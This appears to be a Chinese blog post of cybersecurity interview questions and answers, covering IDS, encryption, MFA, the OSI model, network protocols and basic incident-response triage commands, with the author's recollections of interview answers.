什么是入侵检测系统(IDS)?如何使用IDS提高网络安全?

答:入侵检测系统(IDS)是一种监测网络流量和系统活动的技术,以检测网络安全威胁和攻击。使用IDS可以提高网络安全的方法包括:实时监控网络流量,并识别非法流量;分析网络攻击和安全事件,并提供实时警报;控制网络访问和数据流量,并预防未来的威胁。

什么是加密技术?如何保护数据安全?

答:加密技术是一种将数据转换为基于密码学相似算法的密文来保护数据的技术。保护数据安全的方法有:使用加密技术来加密数据;使用密钥管理系统对密钥进行管理;限制在使用加密数据的时候谁可以访问密钥,并采用其他安全措施,如访问控制和身份验证来保护密钥。

什么是网络安全事件?如何监控和解决网络安全事件?

答:网络安全事件是指在网络系统中出现的任何安全威胁和攻击,如病毒攻击、网络钓鱼、入侵等。监控和解决网络安全事件的方法包括:设置安全监视和警报系统;分析各种安全事件的来源和类型;评估网络安全事件的影响;制定适当的解决方案;并记录网络安全事件以便以后参考。

什么是反病毒软件?如何选择最佳反病毒软件?

答:反病毒软件是一种用于保护计算机系统免受恶意代码、病毒和其他网络安全威胁的软件。选择反病毒软件的最佳方法是通过对多种反病毒软件的功能和服务进行评估,考虑其安全性、易用性、可扩展性和性价比等因素。

17. 什么是安全审计?如何实施安全审计?

答:安全审计是一种监控和评估计算机系统和网络中安全措施有效性的方法。实施安全审计包括确定安全审计目标和范围,收集安全事件和数据,并生成报告以确定安全事件的根本原因和下一步的纠正措施。

18. 什么是网络安全策略?如何制定和实施网络安全策略?

答:网络安全策略是指明确和详细的指导原则和规则,以保护网络系统、应用程序和数据免受网络攻击和安全威胁。制定和实施网络安全策略包括了解企业的安全需求、评估风险、建立和实施安全程序、持续监管,监控和更新网络安全政策、程序和实施细节。

19. 什么是多因素认证?如何使用多因素认证来提高账户安全性?

答:多因素认证是一种需要提供多个验证因素以确认和授权访问的方法。通常包括知识因素(如密码或个人标识号码)、拥有因素(如智能卡或手机)和生物识别因素(如指纹或面部识别)。使用多因素认证可以提高账户的安全性,因为需要更多的验证因素才能访问账户,即使密码被泄露,依然需要其他安全因素。

20. 什么是漏洞管理?如何实施漏洞管理来提高网络安全?

答:漏洞管理是指通过识别、评估和修复计算机系统和网络中存在的漏洞来提高网络安全的过程。实施漏洞管理需要通过收集和审核漏洞报告,对漏洞进行分类和评估来分析其对系统和数据的危害,随后分配修复优先级和时间安排,并实施漏洞修复措施以消除漏洞。

21. 什么是网络安全培训?如何实施网络安全培训来提高组织的网络安全意识?

答:网络安全培训是通过为员工提供有关网络安全的教育和培训来提高组织中员工的网络安全意识和文化。实施网络安全培训需要了解组织网络安全需求、制定培训计划和内容、选择适当的培训方法和资源,如在线培训、模拟攻击、游戏等,并对网络安全培训进行评估和持续更新改进。

22. 如何应对网络安全事件的应急响应?

答:应对网络安全事件的应急响应需要快速、准确地处理安全事件或威胁,并为受影响的系统和数据提供可靠保护。这包括进行威胁分析、暴漏的证据收集、岗位分工、调动资源、制定预案和时间表、实施监控、持续评估和改进网络和数据的安全管理。合理的应急响应计划可以最大限度的减少网络安全事件对组织的影响。

23. 如何保护无线网络的安全性?

答:保护无线网络的安全性可以通过采用如下措施:使用强密码,进行定期更改,启用无线网络加密,限制无线访问权限,升级无线路由器的固件和操作系统,禁止使用广播网络SSIDs,并定期监测无线网络的流量。

24. 如何保护移动设备的网络安全性?

答:保护移动设备的网络安全性可以采取如下措施:档板密码和生物识别技术来保护设备和数据,保证设备的操作系统和应用程序的及时更新,使用加密性的Wi-Fi连接,保护移动设备免受恶意软件和网络攻击的脱离。使用VPN等其他措施来保障移动设备上存储的敏感或机密数据的安全。

25. 什么是人工智能和机器学习在网络安全领域中的应用?

答:人工智能和机器学习在网络安全领域中得到了广泛应用。通过对攻击行为的分析和识别,这种技术可以识别网络攻击,帮助组织采取即使应对措施,提高网络安全防御的能力。另外,机器学习在日益复杂的网络威胁和攻击中也具有预测功能,并且有助于提供更高效的安全处理。机器学习还可以用于日志分析、网络透明化、异常检测、风险管理等领域,帮助组织及时发现潜在的安全威胁、快速响应和恢复。总之,人工智能和机器学习在网络安全方面的应用将会越来越重要,随着技术的不断发展,其应用范围和效果也将会不断提升。

26. 如何有效防范外部攻击?

答:外部攻击的方式多种多样,组织可以通过采取多种措施来防范外部攻击,例如加强网络安全设备、使用强密码和多因素身份验证、定期更新和升级系统和软件,以及禁止使用未授权的设备和应用程序。此外,还可以加强内部培训,提高员工对网络安全的意识和知识水平,以便更好地了解网络攻击的形式和手段,从而更好地防范和应对网络攻击。

27. 如何建立一个安全的网络策略?

答:建立安全的网络策略需要将组织的安全目标和需求与现实情况结合起来,落实到具体的措施和计划中。首先,需要确立网络安全负责人,明确各个部门的安全责任,并措施科学合理的安全管理制度和流程。其次,应该制定完整的、可操作的安全规范和标准,包括密码规范、网络接入规范、操作规范等,以规范员工的行为和操作。最后,要通过稳定可靠的技术措施来防范和应对网络威胁,如入侵检测、安全审计、VPN等,从而形成一个完整的网络安全体系。

28. 如何保护个人电脑的网络安全?

答:保护个人电脑的网络安全需要注意以下几点:首先,定期更新电脑的操作系统和应用程序,关闭不必要的服务和端口;其次,安装杀毒软件、网络安全工具和防火墙,并定期运行扫描和检测;然后,使用强密码并定期更改,禁止使用弱密码以及重复密码;最后,注意在网络上保护个人信息和隐私,避免点击未知来源的链接和附件,并保护个人账户的安全。

29. 如何应对密码泄露?

答:应对密码泄露的方式需要立即更改泄露的密码,包括所有相关的网站和应用程序。建议使用强密码,避免使用常见的密码和重复密码,同时采用两步认证的方式来提高帐户的安全性。另外,还需要注意在电脑上和移动设备上的安全性,定期检查本地的登录记录、应用程序的授权和权限等情况,并保持杀毒软件和更新的操作系统。如果有必要,在发现存在重大的密码泄露后,应当通知网站或应用程序管理员,并申请注销其对应的账户。

如何应对社交工程攻击?

答:社交工程攻击是指攻击者通过利用人性弱点来获取个人信息或者敏感信息,如钓鱼邮件、欺诈电话、假冒社交媒体等手段。为防范社交工程攻击,需要注意以下几点:首先,要保持警惕,不要轻易相信不明来源的电子邮件、消息,不要随意点击其中所包含的链接和附件;其次,要重视密码和帐户的安全性,尤其是使用与个人相关的帐户时,需要使用强密码和双重验证等方式;其次,要时刻关注自身信息的保护,如定期检查个人账户信息是否准确,避免泄露个人信息;同时,应定期进行网络安全培训和意识提高,以提高人员自身的安全意识和识别能力,从而有效防范社交工程攻击。

协议类型

传输层协议: 传输控制协议(Transmission Control Protocol,TCP):提供可靠的、面向连接的数据传输。 用户数据报协议(User Datagram Protocol,UDP):提供无连接的数据传输,速度较快但不可靠。 网络层协议: 互联网协议(Internet Protocol,IP):定义了在网络中传输数据的标准方式,负责数据的分组和路由。 应用层协议: 超文本传输协议(Hypertext Transfer Protocol,HTTP):用于在Web浏览器和服务器之间传输超文本的协议。 文件传输协议(File Transfer Protocol,FTP):用于在客户端和服务器之间传输文件的协议。 电子邮件协议(Simple Mail Transfer Protocol,SMTP):用于电子邮件的发送和路由。 域名系统协议(Domain Name System,DNS):用于将域名转换为IP地址的协议。

OSI七层模型

物理层(Physical Layer):

提供物理介质传输数据的方式,如电缆、光纤和无线信号。
定义了数据的电气特性、物理连接和传输速率等。

数据链路层(Data Link Layer):

将物理层提供的比特流划分为数据帧(Data Frame)。
提供可靠的数据传输,错误检测和纠正,以及对物理层的错误隔离。

网络层(Network Layer):

负责在不同网络之间进行数据包的路由和转发。
提供逻辑地址(如IP地址)来唯一标识网络上的设备。

传输层(Transport Layer):

提供端到端的数据传输服务,确保可靠的数据传输。
建立、维护和终止应用程序之间的数据传输连接。
常用的协议有TCP(传输控制协议)和UDP(用户数据报协议)。

会话层(Session Layer):

建立、管理和终止应用程序之间的会话。
提供会话控制和同步功能,支持数据交换的检查点和恢复机制。

表示层(Presentation Layer):

处理数据的表示方式,确保不同系统上的数据可以正确解释。
提供数据的加密、压缩和格式转换等功能。

应用层(Application Layer):

提供用户接口和服务,支持特定应用程序的网络通信需求。
包括各种应用层协议,如HTTP(超文本传输协议)、FTP(文件传输协议)和SMTP(简单邮件传输协议)等。

网络层有哪些协议

互联网协议(Internet Protocol,IP): IP是最基础、最重要的网络层协议,用于在网络中传输数据包。 IPv4是目前广泛使用的版本,而IPv6是其后续版本,为解决IPv4地址耗尽问题而设计。

互联网控制报文协议(Internet Control Message Protocol,ICMP): ICMP用于在IP网络中发送错误消息和状态信息。 例如,ICMP可用于发送网络不可达消息或进行网络诊断和故障排除。

地址解析协议(Address Resolution Protocol,ARP): ARP用于将IP地址解析为物理硬件地址(如MAC地址)。 当主机需要发送数据包到目标主机时,它需要知道目标主机的MAC地址,ARP就负责进行地址解析。

网际组管理协议(Internet Group Management Protocol,IGMP): IGMP用于在多播通信中进行组成员管理。 它使主机能够加入或离开一个多播组,并向路由器发送有关组成员的信息。

网络地址转换协议(Network Address Translation,NAT): NAT用于在网络边界上进行IP地址转换。 它允许将内部网络的私有IP地址转换为公共IP地址,以便与Internet通信。

网络控制协议(Network Control Protocol,NCP): NCP用于在点对点网络连接中建立和配置网络层参数。 例如,点对点协议(Point-to-Point Protocol,PPP)使用NCP来配置IP地址和其他网络参数。

user-Agent是什么 Referer是什么 哪个显示的是IP地址

User-Agent(用户代理)是一个HTTP请求头部字段,用于标识发起请求的客户端应用程序、操作系统和设备等信息。 Referer(引荐者)是另一个HTTP请求头部字段,用于指示从哪个页面链接跳转或从哪个页面发起了当前请求。 IP地址(Internet Protocol Address)显示的是客户端设备的唯一标识符,用于在网络中标识和定位设备。

有没有护网的经验和应急响应的经验

这个的话如实回答 ,没有参加过护网 , 但是最近有了解过护网并知道一些事件等级以及工作分组,应急响应的话这里有做过,就是回答了一些 看看主机有没有异常登录信息(net user) 异常端口开放(netstat -ano) 异常进程(tasklist) 查看一下linux里的/var/log日志 windwos的日志 然后根据攻击者的思路去进行一个信息检查 用D盾检查一下有没有webshell文件。大致就是回答了这些

假如你现在是研判组的话 对于安全设备的告警事件你如何去判断是否为误报的方法和思路

手动验证一下,然后就是根据告警上面的信息去查询,去检验一下

知道数据流量分析吗

wireshark 用一些过滤规则去分析数据报文 数据包的内容 机器学习发现恶意流量特征,进行检测

当你来到现场时首先的一个思路加固方案

根据一些漏洞扫描工具(nessus awvs appscan)扫描出来的漏洞及时反应给他们去修复,然后就是根据等保制度去修改一些中间件的配置 和系统的配置文件

假如让你写一份写报告说一下思路

这个的话其实也不是很清楚总之脑海里当时就知道 (时间 地点 人物)然后就是围绕这三个回答了 时间 攻击源地址 根据事件类型 漏洞类型去划分,最后再根据自己的经验去总结一下写到报告上。

  • 25
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值